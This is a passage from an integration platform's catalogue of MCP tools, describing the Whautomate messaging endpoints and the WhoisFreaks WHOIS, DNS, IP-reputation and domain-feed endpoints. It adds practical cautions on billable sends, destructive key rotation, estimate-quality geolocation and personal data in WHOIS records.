MESSAGE, with no unsend. `contact`, `location`, `mediaUrl` and `mimeType` are required. WHAUTOMATE FETCHES `mediaUrl` from its own infrastructure, so the link must be publicly reachable when it does; a dead link produces a send this call accepts and the recipient never receives. POST /api/v1/whautomate/v1/messages/messenger/sendmedia. Scopes: api. whautomate_post_v1_messages_messenger_sendtemplate (write) — Send a card carousel with buttons over Messenger, via POST /v1/messages/messenger/sendtemplate. Meta's generic-template message: a list of `elements`, each a card with a `title`, optional `subtitle` and `image_url`, and `buttons`. THE BUTTON VOCABULARY IS WIDER HERE THAN ON INSTAGRAM -- `web_url`, `postback` AND `phone_number` -- which is the one difference between the two otherwise identical bodies, so a card built for Messenger may not transfer to Instagram unchanged. `contact`, `location` and `elements` are required. Sends a real message, with no unsend. POST /api/v1/whautomate/v1/messages/messenger/sendtemplate. Scopes: api. whautomate_post_v1_messages_messenger_sendtext (write) — Send a plain Messenger message, via POST /v1/messages/messenger/sendtext. SENDS A REAL MESSAGE, with no unsend. `contact`, `location` and `textMessage` are required; contact id only, with no client and no raw phone-number option. Meta applies its own 24-hour standard messaging window to Messenger, so a message to somebody who has not interacted recently may be refused at the channel rather than here. POST /api/v1/whautomate/v1/messages/messenger/sendtext. Scopes: api. whautomate_post_v1_messages_telegram_sendmedia (write) — Send a file over Telegram, via POST /v1/messages/telegram/sendmedia. SENDS A REAL MESSAGE, with no unsend. `contact`, `location`, `mediaUrl` and `mimeType` are required. WHAUTOMATE FETCHES `mediaUrl` from its own infrastructure, so the link must be publicly reachable and still valid at fetch time; a dead link produces a send this call accepts and the recipient never receives. POST /api/v1/whautomate/v1/messages/telegram/sendmedia. Scopes: api. whautomate_post_v1_messages_telegram_sendtemplate (write) — Send a Telegram message carrying buttons and optional media, via POST /v1/messages/telegram/sendtemplate. A THIRD, DIFFERENT SHAPE OF 'TEMPLATE' ON THIS PROVIDER: not WhatsApp's approved-template reference and not Instagram/Messenger's card carousel, but a single `textMessage` with a `buttons` array and an optional media header. `buttons`, `contact`, `location` and `textMessage` are required. `headerType` (`IMAGE`, `VIDEO`, `DOCUMENT`) goes with `mediaUrl` and `mimeType` when there is a media header. Sends a real message, with no unsend. POST /api/v1/whautomate/v1/messages/telegram/sendtemplate. Scopes: api. whautomate_post_v1_messages_telegram_sendtext (write) — Send a plain Telegram message, via POST /v1/messages/telegram/sendtext. SENDS A REAL MESSAGE, with no unsend. `contact`, `location` and `textMessage` are required; contact id only, with no client and no raw phone-number option. Telegram has no 24-hour messaging window, so plain text is usable to open a conversation on this channel where it is not on WhatsApp. POST /api/v1/whautomate/v1/messages/telegram/sendtext. Scopes: api. whautomate_post_v1_messages_whatsapp_sendmedia (write) — Send a file over WhatsApp, via POST /v1/messages/whatsapp/sendmedia. SENDS A REAL MESSAGE, billable, with no unsend. `mediaUrl`, `mimeType` and `location` are required, plus one of `contact`, `client` or `recepient`. THE FILE IS FETCHED BY WHAUTOMATE from the URL you give -- nothing is uploaded through this API -- so the link must be reachable from the public internet and must still be valid when Whautomate fetches it, which is the usual cause of a send that this call reports as accepted and the recipient never sees. Same 24-hour window rule as the text send. POST /api/v1/whautomate/v1/messages/whatsapp/sendmedia. Scopes: api. whautomate_post_v1_messages_whatsapp_sendtemplate (write) — Send an approved WhatsApp template, via POST /v1/messages/whatsapp/sendtemplate. THE WAY TO START A WHATSAPP CONVERSATION. Outside the 24-hour customer-service window WhatsApp permits only approved templates, so this -- not 'Send a WhatsApp text message' -- is what reaches somebody who has not messaged recently. `template` (`name` + `language`) and `location` are required; the template must ALREADY EXIST AND BE APPROVED in Whautomate/Meta, because nothing on this surface creates one. Fill the template's placeholders in ORDER through `headerTextParameters`, `bodyTextParameters` and `buttonUrlParameters`; `headerMediaUrl`, `locationParameters` and `flowParameters` serve the media, location and Flow header types. One recipient only: `contact`, `client` or `recepient` (that spelling). Billable, no unsend. POST /api/v1/whautomate/v1/messages/whatsapp/sendtemplate. Scopes: api. whautomate_post_v1_messages_whatsapp_sendtext (write) — Send a plain WhatsApp text, via POST /v1/messages/whatsapp/sendtext. SENDS A REAL MESSAGE TO A REAL PERSON, billable, with no unsend. `location` and `textMessage` are required, plus exactly one recipient: `contact` (a contact id), `client` (a client id) or `recepient` (a raw phone number) -- NOTE THE SPELLING `recepient`, which is Whautomate's own and must not be corrected. WhatsApp only permits free-form text inside an open 24-hour customer-service window; outside it a template is required, so use 'Send a WhatsApp template message' when you are starting the conversation. Omit `scheduleDateTime` to send now; nothing on this surface cancels a scheduled send. POST /api/v1/whautomate/v1/messages/whatsapp/sendtext. Scopes: api. whautomate_post_v1_segments (write) — Create a saved audience, via POST /v1/segments. `name`, `type` and `location` are required. `type` -- `client` or `contact` -- is the decision that matters: it picks which population and which TAG NAMESPACE the criteria are read against, so a segment created as `contact` with client tag names selects nobody. `criteria.contactStage` accepts a SHORTER list of stages than a contact record does: `Engaged`, `Follow-up Required`, `Lost` and `Inactive` are settable on a contact but are not offered here. Every criterion is optional and they compose; a segment with no criteria matches the whole population. POST /api/v1/whautomate/v1/segments. Scopes: api. whautomate_post_v1_servicecategories (write) — Create a service grouping, via POST /v1/serviceCategories. `name` and `location` are required; `slug` is derived by Whautomate and sending one renames nothing. Creating a category files no services under it -- set a service's `categories` array with 'Update a service' for that. The 200 carries the created category and its id. POST /api/v1/whautomate/v1/serviceCategories. Scopes: api. whautomate_post_v1_services (write) — Create something the business sells, via POST /v1/services. `name`, `serviceType`, `sellingPrice` and `location` are required. `serviceType` is the decision that matters most and cannot be guessed later by the booking tools: `APPOINTMENT`, `CLASS` or `ADD_ON`. A service created with `allowOnlineBooking` and `acceptPaymentOnline` is IMMEDIATELY SELLABLE to the public at `sellingPrice`, so set the price deliberately. The declared 200 response carries no properties in the sealed export -- read the service back with 'Get a service' to learn its id. POST /api/v1/whautomate/v1/services. Scopes: api. whautomate_post_v1_staffs_by_staffid_availabilityblocks (write) — Create an availability block for one staff member and day, via POST /v1/staffs/{staffId}/availabilityBlocks. Declares when this staff member can be booked on `date`: a `slots` array of `{startTime, endTime}` local to `timezone`. THIS DECIDES WHAT CUSTOMERS CAN BOOK -- narrowing a day's slots does not cancel appointments already made in the removed hours, and widening them opens real availability on a real person's calendar. IT ANSWERS AN ARRAY, not a single object: the one write on this surface that does, because it returns the day's blocks rather than just the one created. POST /api/v1/whautomate/v1/staffs/{staffId}/availabilityBlocks. Scopes: api. whautomate_post_v1_webhooks (write) — Subscribe an endpoint to Whautomate events, via POST /v1/webhooks. `name`, `serverUrl`, `events` and `active` are all required. `serverUrl` IS A URL WHAUTOMATE WILL CALL from its own infrastructure -- point it at something you control and that expects Whautomate's payloads. The event names are exact lower_snake_case; the four `invoice_*` ones are worth noting because this API has no invoicing tools, so a webhook is the only way to see invoicing activity here. Anything put in `webhookHeaders` is stored by Whautomate and read back by the two read tools above. POST /api/v1/whautomate/v1/webhooks. Scopes: api. whautomate_put_v1_broadcasts_by_broadcastid (write) — Change a broadcast, via PUT /v1/broadcasts/{broadcastId}. A PUT carrying the whole campaign, so send what you want it to end up as rather than a patch. ITS EFFECT ON A CAMPAIGN THAT IS SCHEDULED OR IN FLIGHT IS NOT DOCUMENTED in any sealed source and was not measured -- no Whautomate credential was available to this build -- so do not assume it can retarget or delay a send that is already moving. It is marked a write rather than destructive because it edits a record, but on a scheduled campaign it may change who gets messaged; read 'Get a broadcast' and check `status`, `startedAt` and `scheduleDateTime` first. PUT /api/v1/whautomate/v1/broadcasts/{broadcastId}. Scopes: api. whautomate_put_v1_classes_by_classid (write) — Change a class's time, staff or capacity, via PUT /v1/classes/{classId}. A PUT with the same required fields as the create, so send the whole session rather than a patch. MOVING A CLASS MOVES IT FOR EVERYONE ALREADY BOOKED, and lowering `numberOfParticipants` below `bookedParticipants` leaves the session oversubscribed -- the sealed sources do not say which participants lose their place, and no credential was available to measure it. Read 'Get a class' first and check the two counts. PUT /api/v1/whautomate/v1/classes/{classId}. Scopes: api. whautomate_put_v1_clients_by_clientid (write) — Replace a client's details, via PUT /v1/clients/{clientId}. A PUT, and the body carries the same required trio as a create (`fullName`, `phone`, `countryCode`), so treat this as REPLACING the record rather than patching it: send the fields you want the client to end up with, not only the ones you are changing. `tags` sent here replace the client's tags wholesale -- use 'Add tags to a client' and 'Remove tags from a client' to change them incrementally. Not marked destructive: the client survives, though a partial body can lose detail. PUT /api/v1/whautomate/v1/clients/{clientId}. Scopes: api. whautomate_put_v1_contacts_by_contactid (write) — Replace a contact's details, via PUT /v1/contacts/{contactId}. A PUT with the same required fields as a create, so send the whole record rather than a patch. Changing `stage` is the ordinary use and is how a contact is moved through the funnel. `tags` sent here REPLACE the contact's tags -- use 'Add tags to a contact' and 'Remove tags from a contact' to change them one at a time, which is also what fires the tag webhook events. PUT /api/v1/whautomate/v1/contacts/{contactId}. Scopes: api. whautomate_put_v1_services_by_serviceid (write) — Change a service's price or settings, via PUT /v1/services/{serviceId}. CHANGING `sellingPrice` CHANGES WHAT EVERY FUTURE BOOKING IS CHARGED, and setting `active` to false removes the service from sale without cancelling anything already booked. THE SEALED EXPORTS DECLARE NO REQUEST BODY FOR THIS OPERATION AT ALL, while `POST /v1/services` declares the full Service model and this operation's own 200 response IS that model -- so the fields below are taken from those two places and NO field is marked required, because the export says nothing about which a PUT may omit. Send the whole service you want to end up with rather than a patch, and read it back afterwards. PUT /api/v1/whautomate/v1/services/{serviceId}. Scopes: api. whautomate_put_v1_webhooks_by_webhookid (write) — Change a webhook subscription, via PUT /v1/webhooks/{webhookId}. A PUT carrying the whole subscription, so send the complete `events` list rather than the ones you are adding -- a short list silently UNSUBSCRIBES the rest, and the symptom is an integration that stops seeing some events with nothing logged anywhere. Setting `active` to false pauses delivery without losing the subscription, which is the safe way to stop a noisy endpoint. PUT /api/v1/whautomate/v1/webhooks/{webhookId}. Scopes: api. ================================================================================ ## WhoisFreaks URL: https://www.agenticfabriq.com/integrations/whoisfreaks Section: Integrated Tools WhoisFreaks — 31 MCP tools Provider key: whoisfreaks. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. whoisfreaks_get_v1_0_api_key_rotate (write, destructive) — Regenerate the WhoisFreaks account's API key, via GET /v1.0/api-key/rotate. CALLING THIS THROUGH THIS CONNECTION DESTROYS THIS CONNECTION'S OWN CREDENTIAL. WhoisFreaks issues ONE key per account; rotating it invalidates the previous value instantly and everywhere, including the copy Agentic Fabriq holds. Every subsequent tool call on this connection answers 401 until someone signs in at billing.whoisfreaks.com, copies the NEW key and edits the connection. Every other integration, script and product using the same account key breaks at the same moment, because there is no second key to migrate to. THE REPLY IS PLAIN TEXT, NOT JSON, AND A 200 DOES NOT MEAN IT WORKED: measured 2026-09-25, a bogus key gets HTTP 200 with `Content-Type: text/plain` and the body `API Key does not exist`. So `raise_for_status` sees nothing wrong and this connector hands the sentence back under `raw` -- READ IT. The only safe use is a deliberate rotation you are ready to finish by re-pasting the new key; it is marked destructive so the confirm gate stands in front of it. GET /api/v1/whoisfreaks/v1.0/api-key/rotate. Scopes: api. whoisfreaks_get_v1_0_geolocation (read) — Resolve one IP address to a location, via GET /v1.0/geolocation. Returns the country, region, city, postal code, coordinates, timezone, currency and the connection's ISP, organisation and ASN. IP GEOLOCATION IS AN ESTIMATE: city-level accuracy is good for fixed broadband and poor for mobile, satellite, VPN and corporate egress, so this is evidence rather than a fact about where a person is. The coordinates locate a network, never a household. Use the POST form of the same path for up to 100 addresses in one call, and 'Read an IP address's reputation' for whether the address is flagged. GET /api/v1/whoisfreaks/v1.0/geolocation. Scopes: api. whoisfreaks_get_v1_0_ip_whois (read) — Read the registry allocation record for one IP address, via GET /v1.0/ip-whois. The REGISTRY view of an address: which block it falls in, who the block is allocated to, the abuse contact and the regional registry. Distinct from 'Geolocate an IP address', which estimates a physical location -- this one is authoritative about ownership and says nothing about where the address is used. The abuse contact here is the address to report to. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v1.0/ip-whois. Scopes: api. whoisfreaks_get_v1_0_security (read) — Look up one IP address's threat reputation, via GET /v1.0/security. Reports whether the address is associated with malware, phishing, spam, scanning, a proxy, a VPN or a Tor exit, along with a reputation score. A SIGNAL, NOT A VERDICT: shared hosting, carrier NAT and cloud egress mean a flagged address is routinely also carrying legitimate traffic, so this belongs in a decision alongside other evidence rather than as an automatic block. Note the path: `/v1.0/security` is the IP tool, while `/v1/domain/security` -- one version segment shorter -- is the DOMAIN one, and they are different endpoints. Use the POST form of this path for up to 100 addresses. GET /api/v1/whoisfreaks/v1.0/security. Scopes: api. whoisfreaks_get_v1_0_ssl_live (read) — Fetch the certificate a domain is serving right now, via GET /v1.0/ssl/live. Connects to the host at call time and reports the issuer, the subject, the validity window, the signature algorithm and the subject alternative names -- which is how an expiry sweep or a wildcard audit is driven. `chain` true also returns the intermediate and root certificates, which is what you need to diagnose a trust-path failure rather than an expiry. `sslRaw` true adds the raw PEM, which is large: leave it false unless something downstream parses certificates itself. A host that refuses TLS or presents nothing answers an error rather than an empty certificate. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v1.0/ssl/live. Scopes: api. whoisfreaks_get_v1_0_subdomains (read) — List the subdomains WhoisFreaks has observed under one domain, via GET /v1.0/subdomains. An attack-surface inventory: what exists under a registrable domain, as observed from certificate transparency, DNS and crawling. OBSERVED IS NOT EXHAUSTIVE -- an internal-only or wildcard-served name that never appeared in a certificate or a zone will be missing, so a short answer is not evidence of a small footprint. `after` and `before` narrow to a first-seen window (YYYY-MM-DD), which is how you find what appeared since the last audit; `status` narrows to `active` or `inactive`. PAGED through `page`. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v1.0/subdomains. Scopes: api. whoisfreaks_get_v1_0_whoisapi_usage (read) — Read the connected WhoisFreaks account's subscription status, credit balance and rate limits, via GET /v1.0/whoisapi/usage. The Credit Usage API, and the cheapest thing to call before a bulk run: WhoisFreaks serves every API from ONE credit pool, and once it is empty requests stop being served rather than degrading, so the balance here is what says whether a batch will complete. Also this connection's health check -- it is the endpoint this provider declares as its probe, because a bogus key, an absent key and an Authorization header alone all answer 401 here (measured 2026-09-24 and again 2026-09-25). It reports the key's entitlements; it cannot create or change a credential. Reading a balance costs nothing. GET /api/v1/whoisfreaks/v1.0/whoisapi/usage. Scopes: api. whoisfreaks_get_v1_domain_security (read) — Look up one domain's threat reputation, via GET /v1/domain/security. The domain counterpart to the IP reputation tool: malware, phishing, spam and abuse associations plus a reputation score, for a name rather than an address. NOTE THE PATH -- `/v1/domain/security`, with `v1` and not `v1.0`. It is the only `/v1/` path on this provider and `/v1.0/domain/security` reaches nothing. Five API credits per call at the documented rate, five times a live WHOIS lookup, so it is not the tool to run speculatively over a large list. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v1/domain/security. Scopes: api. whoisfreaks_get_v2_0_asn_whois (read) — Read the registry record for one autonomous system number, via GET /v2.0/asn-whois. Who operates a network, from the regional internet registry: the organisation, its country, the registry that allocated the number, the allocation date and the announced prefixes. This is the network-operator layer above the per-address lookups -- use 'Look up an IP address's WHOIS record' for one address and this for the AS it belongs to. `asn` takes the number with or without the `AS` prefix. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/asn-whois. Scopes: api. whoisfreaks_get_v2_0_dns_historical (read) — Read the archived DNS records WhoisFreaks holds for one domain, via GET /v2.0/dns/historical. How a hosting move, a mail-provider change or a CDN migration is dated: each entry is a snapshot with the interval it was observed over. `domainName` and `type` are both required -- unlike the live lookup there is no IP form. PAGED through `page`. This is an archive query rather than a resolution, so it answers for domains that no longer resolve at all, which is exactly what makes it useful after a takedown. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/dns/historical. Scopes: api. whoisfreaks_get_v2_0_dns_live (read) — Resolve one domain's (or one IP's) current DNS records, via GET /v2.0/dns/live. SUPPLY EXACTLY ONE OF `domainName` OR `ipAddress`. Both are declared optional and neither is enough on its own -- a call with neither is a 400 that names no field, which reads as a server problem. `type` IS required and chooses which record family comes back; `all` returns every type in one reply and is the usual choice. Resolved at call time against live nameservers, so it reflects the zone as it stands rather than a cached snapshot -- use 'List a domain's historical DNS records' for what it used to be. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/dns/live. Scopes: api. whoisfreaks_get_v2_0_domain_availability (read) — Check one domain's registration availability and optionally suggest alternatives, via GET /v2.0/domain/availability. Answers whether the exact name is registrable right now. Set `sug` true to get alternative names as well, and `count` to say how many (1-100, default 5) -- `count` does nothing while `sug` is false. AVAILABILITY IS NOT OWNERSHIP: a name can be unregistered and still be reserved, premium-priced or blocked by the registry, so treat a positive answer as 'worth trying at a registrar' rather than as a purchase guarantee. Use the POST form of the same path to check many names or many TLDs in one call. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/domain/availability. Scopes: api. whoisfreaks_get_v2_0_whois_history (read) — Read every archived WHOIS record WhoisFreaks holds for one domain, via GET /v2.0/whois/history. The archive rather than the live lookup: each entry is a snapshot WhoisFreaks captured, so this is how an ownership change, a registrar transfer or a nameserver move is dated. Contact details in older snapshots may be visible where the CURRENT record is redacted, which is the whole reason this endpoint is used in investigations -- and a reason to treat its output as personal data. PAGED: pass `page` and walk it; a caller that reads only the first page sees the newest snapshots and no error saying there are more. Costs more credits per call than a live lookup. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/whois/history. Scopes: api. whoisfreaks_get_v2_0_whois_live (read) — Query the registry and registrar for one domain's current WHOIS record, via GET /v2.0/whois/live. The live lookup, not the archive: WhoisFreaks queries the authoritative servers at call time, so this is what to use for 'who owns this now'. The reply carries the registrar, the create/update/expiry dates, the nameservers, the domain status codes and the registrant, administrative, technical and billing contact blocks -- most of which are redacted to a privacy-service placeholder for GDPR-covered registrants, which is the provider telling you the truth rather than a failure. Use 'List a domain's historical WHOIS records' for what the record USED to say and 'Find domains matching a WHOIS keyword' to search by registrant. Costs one API credit per lookup from the account's single credit pool. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/whois/live. Scopes: api. whoisfreaks_get_v2_0_whois_reverse (read) — Search WhoisFreaks' WHOIS index for every domain whose record contains a keyword, via GET /v2.0/whois/reverse. THE INVERSE OF A LOOKUP: given a registrant name, an e-mail address, a company or a nameserver, this returns the domains whose WHOIS records mention it. That makes it the tool for mapping a portfolio or an infrastructure cluster, and also the one most likely to return personal data about a private registrant, so choose deliberately when granting it. PAGED -- a single keyword can match tens of thousands of domains, so `page` is how you get past the first slice. Five API credits per call at the documented rate, against one for a live lookup, so a loop over pages is five times more expensive than it looks. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.0/whois/reverse. Scopes: api. whoisfreaks_get_v2_1_dns_reverse (read) — Search for every domain whose DNS records contain a given value, via GET /v2.1/dns/reverse. Given an IP, a mail host, a nameserver or a CNAME target, this returns the domains that point at it -- the tool for finding every site on one server or every domain using one mail provider. NOTE THE VERSION: this is the only `/v2.1` path on the provider, and a call to `/v2.0/dns/reverse` reaches nothing. `type` is required and is a CLOSED set here (`a`, `mx`, `cname`, `ns`, `aaaa`, `txt`, `soa`) rather than the open string the live lookup takes -- there is no `all`, because a reverse search is over one record family. `exact` defaults to true; set it false for a substring match, which is much broader and much slower. PAGED. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. GET /api/v1/whoisfreaks/v2.1/dns/reverse. Scopes: api. whoisfreaks_get_v3_0_domain_typos (read) — Generate the look-alike domain names an attacker would register against a brand, via GET /v3.0/domain/typos. SUPPLY `keyword` OR `pattern`. Both are declared optional and a call with neither returns nothing useful. `keyword` takes a brand or domain and WhoisFreaks generates the usual confusions -- character swaps, omissions, doubled letters, homoglyphs, neighbouring TLDs; `pattern` lets you specify the shape yourself. This is a GENERATOR, not a lookup: it tells you which names exist as strings, so feed the output to 'Check whether a domain is available to register' or to a WHOIS lookup to find which are actually registered. Paged by OPAQUE TOKEN rather than by number -- pass the `pageToken` from the previous reply; a numeric `page` is not accepted here. Despite the `/v3.0` prefix this is on the LIVE API host, not the database host; the split begins at /v3.1. GET /api/v1/whoisfreaks/v3.0/domain/typos. Scopes: api. whoisfreaks_get_v3_1_domains_dropped (read) — List the domains that were deleted and returned to the available pool on a given day, as JSON, via GET /v3.1/domains/dropped. DROPPED means the registration lapsed through its expiry and redemption windows and the name is registrable again -- which is why this feed is used both by domain investors and by anyone watching for an abandoned name that still has traffic or backlinks pointed at it. The bulk `/v3.1/download/domainer/dropped` file and the backlink-annotated `/v3.3/download/domainer/dropped/backlinks` file are NOT shipped -- unbounded binary with no artifact transport. `date` picks the drop day; `tlds` narrows. SERVED FROM files.whoisfreaks.com; the same path on api.whoisfreaks.com answers 404 (measured 2026-09-25). GET /api/v1/whoisfreaks/v3.1/domains/dropped. Scopes: api. whoisfreaks_get_v3_1_domains_newly_cctld (read) — List the country-code-TLD domains registered on a given day, as JSON, via GET /v3.1/domains/newly/cctld. The country-code counterpart to the gTLD listing, and a separate dataset rather than a filter over it: ccTLD registries publish on their own schedules and some do not publish at all, so a ccTLD absent from this feed is not evidence it was not registered. The bulk `/v3.1/download/domainer/cctld` file is NOT shipped -- unbounded binary with no artifact transport. `date` and `tlds` work as on the gTLD listing. SERVED FROM files.whoisfreaks.com; the same path on api.whoisfreaks.com answers 404 (measured 2026-09-25). Sold as a database product, not deducted from API credits. GET /api/v1/whoisfreaks/v3.1/domains/newly/cctld. Scopes: api. whoisfreaks_get_v3_1_domains_newly_gtld (read) — List the generic-TLD domains registered on a given day, as JSON, via GET /v3.1/domains/newly/gtld. The JSON counterpart to WhoisFreaks' newly-registered gTLD file drop -- the bulk `.csv`/`.zip` download at `/v3.1/download/domainer/gtld` is NOT shipped here, because it answers unbounded binary and no bounded artifact transport exists for it yet. Brand-protection and abuse teams use this to see what was registered against their marks yesterday. `date` picks the day (YYYY-MM-DD) and defaults to the most recent drop; `tlds` narrows to a comma-separated list such as `com,net`. Call 'Check every database file's freshness' first to learn which dates exist -- an unavailable date is an error, not an empty list. SERVED FROM files.whoisfreaks.com, not the live API host; the same path on api.whoisfreaks.com answers 404 (measured 2026-09-25). Database products are sold separately and are NOT deducted from API credits. GET /api/v1/whoisfreaks/v3.1/domains/newly/gtld. Scopes: api. whoisfreaks_get_v3_3_status_snapshot_asn_whois (read) — Report the current ASN-WHOIS snapshot's name, build date and deletion time, via GET /v3.3/status/snapshot/asn/whois. The bulk form of 'Look up an autonomous system's WHOIS record' -- every AS registry record in one `.json.gz`. This tool reports readiness; the download (`/v3.3/download/snapshot/asn/whois`) is NOT shipped, being unbounded binary with no artifact transport. The AS dataset is small and slow-moving compared with the IP ones, so for a handful of numbers the live lookup is almost always the better answer. SERVED FROM files.whoisfreaks.com. MEASURED 2026-09-25: answers 200 to an invalid key. GET /api/v1/whoisfreaks/v3.3/status/snapshot/asn/whois. Scopes: api. whoisfreaks_get_v3_3_status_snapshot_ip_city (read) — Report the current IP-to-city snapshot's name, build date and deletion time, via GET /v3.3/status/snapshot/ip/city. The city-resolution counterpart to the country snapshot, and a bigger file on a schedule of its own -- check this one rather than assuming the two move together. The download (`/v3.3/download/snapshot/ip/city`) is NOT shipped: unbounded binary with no artifact transport. SERVED FROM files.whoisfreaks.com. MEASURED 2026-09-25: answers 200 to an invalid key, so it cannot be used to test the connection. GET /api/v1/whoisfreaks/v3.3/status/snapshot/ip/city. Scopes: api. whoisfreaks_get_v3_3_status_snapshot_ip_country (read) — Report the current IP-to-country snapshot's name, build date and deletion time, via GET /v3.3/status/snapshot/ip/country. Says WHICH snapshot exists and until WHEN -- `snapshot_name`, `snapshot_creation_date` and `snapshot_deletion_time`. The download itself (`/v3.3/download/snapshot/ip/country`) is NOT shipped: it answers a multi-gigabyte `.zip` and no bounded artifact transport exists for it, so this status tool is how an agent learns the file is ready and hands the name to whoever fetches it out of band. SERVED FROM files.whoisfreaks.com. MEASURED 2026-09-25: this endpoint answers 200 with real data to an INVALID key, so a success here says nothing about whether the connection's credential is good -- use 'Read this account's credit balance' for that. GET /api/v1/whoisfreaks/v3.3/status/snapshot/ip/country. Scopes: api. whoisfreaks_get_v3_3_status_snapshot_ip_security (read) — Report the current IP-security snapshot's name, build date and deletion time, via GET /v3.3/status/snapshot/ip/security. The bulk form of 'Read an IP address's reputation' -- the whole reputation dataset as a `.csv.gz` rather than one address per call. This tool reports readiness only; the download (`/v3.3/download/snapshot/ip/security`) is NOT shipped, being unbounded binary with no artifact transport. Freshness matters more here than on the other snapshots: a reputation file is a claim about a moving target, so `snapshot_creation_date` is the number to read before trusting it. SERVED FROM files.whoisfreaks.com. MEASURED 2026-09-25: answers 200 to an invalid key. GET /api/v1/whoisfreaks/v3.3/status/snapshot/ip/security. Scopes: api. whoisfreaks_get_v3_3_status_snapshot_ip_whois (read) — Report the current IP-WHOIS snapshot's name, build date and deletion time, via GET /v3.3/status/snapshot/ip/whois. The bulk form of 'Look up an IP address's WHOIS record' -- every allocation record in one file rather than one address per call. This tool reports the snapshot's readiness; the download (`/v3.3/download/snapshot/ip/whois`) is NOT shipped, being a multi-gigabyte `.json.gz` with no bounded artifact transport. For a handful of addresses the live lookup is the right tool and costs credits rather than a database licence. SERVED FROM files.whoisfreaks.com. MEASURED 2026-09-25: answers 200 to an invalid key. GET /api/v1/whoisfreaks/v3.3/status/snapshot/ip/whois. Scopes: api. whoisfreaks_get_v3_4_status (read) — Report the available-from and last-update dates for every WhoisFreaks database product, via GET /v3.4/status. THE INDEX FOR EVERYTHING THIS INTEGRATION CANNOT DOWNLOAD. One reply covers the newly-registered feeds (gTLD, ccTLD, their cleaned variants, DNS), expired, dropped and dropped-with-backlinks, the daily/weekly/monthly WHOIS, DNS and subdomain deltas, and the phishing, malware and spam threat feeds -- each with `available_from` and `last_update`. Call it first to learn which `date` values the JSON listings will accept, and to find out whether a feed has stalled. The 29 `/download/` endpoints those dates describe are NOT shipped as tools: every one answers unbounded `application/octet-stream` and no bounded AF artifact transport exists for it, so they are fetched out of band with the same account key. SERVED FROM files.whoisfreaks.com -- the same path on api.whoisfreaks.com answers 404 (measured 2026-09-25). MEASURED 2026-09-25: answers 200 with real data to an INVALID key, so a success here proves nothing about the credential. GET /api/v1/whoisfreaks/v3.4/status. Scopes: api. whoisfreaks_post_v1_0_geolocation (read) — Resolve up to 100 IP addresses to locations in one call, via POST /v1.0/geolocation. The batch form of the single lookup, on the same path with a different verb. A POST and a READ: nothing is created. `ips` is a JSON array capped at 100 and a longer list is refused rather than truncated. The same estimate caveat applies to every entry -- see 'Geolocate an IP address'. Charged per address, so the saving over 100 single calls is in rate limit and latency. POST /api/v1/whoisfreaks/v1.0/geolocation. Scopes: api. whoisfreaks_post_v1_0_security (read) — Look up threat reputation for up to 100 IP addresses in one call, via POST /v1.0/security. The batch form of the single reputation lookup, on the same path with a different verb. A POST and a READ. `ips` is capped at 100. The same 'signal, not verdict' caveat applies to every entry -- see 'Read an IP address's reputation and threat signals'. This is the right tool for scoring a log slice; it is the wrong tool for enriching one address, where the GET costs less to call. POST /api/v1/whoisfreaks/v1.0/security. Scopes: api. whoisfreaks_post_v2_0_bulkwhois_live (read) — Query current WHOIS records for up to 100 domains in one call, via POST /v2.0/bulkwhois/live. A POST because the domain list is a body, but a READ: nothing is created or changed. Prefer it over 100 single lookups -- it is one request against the bulk rate limit rather than 100 against the live one -- but note that it still spends one credit per domain, so the saving is in rate limit and latency, not in credits. The list is capped at 100 and a longer one is refused rather than truncated. The reply is keyed by domain, and a domain that could not be resolved appears with its own error rather than failing the whole call. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. POST /api/v1/whoisfreaks/v2.0/bulkwhois/live. Scopes: api. whoisfreaks_post_v2_0_dns_bulk_live (read) — Resolve current DNS records for a list of domains or IP addresses in one call, via POST /v2.0/dns/bulk/live. A POST because the list is a body, but a READ. The body takes `domainNames`, `ipAddresses`, or both -- unlike the single lookup, which accepts exactly one form. `type` is a QUERY parameter here and applies to the whole batch, so one call cannot ask for MX on some names and A on others. Charged per name resolved, not per call. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. POST /api/v1/whoisfreaks/v2.0/dns/bulk/live. Scopes: api. whoisfreaks_post_v2_0_domain_availability (read) — Check registration availability for a list of names, or for one name across a list of TLDs, via POST /v2.0/domain/availability. TWO MODES, AND THEY ARE EXCLUSIVE. Body `domainNames` is a list of up to 100 FULL names and ignores the `domain` query parameter. Body `tld` is a list of up to 100 TLDs checked against the `domain` QUERY parameter -- so `domain=example` with `tld=["com","io"]` asks about example.com and example.io. Sending both body keys is a 400. The same path serves GET for a single name; this POST is a read despite the verb. WhoisFreaks can answer this call as XML; this tool always asks for JSON and does not offer the switch. POST /api/v1/whoisfreaks/v2.0/domain/availability. Scopes: api. ================================================================================ ## Wit.ai URL: https://www.agenticfabriq.com/integrations/witai Section: Integrated Tools Wit.ai — 35 MCP tools 